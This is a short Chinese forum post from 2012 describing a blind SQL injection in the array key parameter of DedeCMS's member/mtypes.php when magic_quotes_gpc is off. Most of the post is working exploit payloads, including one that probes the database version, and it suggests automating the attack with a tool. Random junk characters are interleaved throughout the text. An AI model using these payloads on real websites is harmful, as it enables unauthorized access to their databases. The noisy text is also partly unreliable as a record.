需要magic_quotes_gpc = Off,所以说是鸡肋啊.3 G/ ~$ p% N$ [" P: K% J
# E. {6 K0 K* `7 s
% D5 m& X& J) J' s
发生在数组key里的注射漏洞,有点意思.
' m! |- U `! l$ o& _1 k
( C) e$ {& M. S8 {这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下
( j: A7 a6 L2 C* T: \
) O1 c X7 F/ u: D( n; whttp://www.xxx.com /dede/member/mtypes.php?dopost=save; S- V- Y6 R5 e9 P1 e) E
1 T- z J( W3 o
exploit:
1 b7 ?5 s0 x1 mmtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r
0 ~) \9 Y g' v, B; Zmtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r, [! e4 q! ?6 ]1 e3 ~* D U
|
发表于 2012-12-20 08:08:09
收藏
支持
反对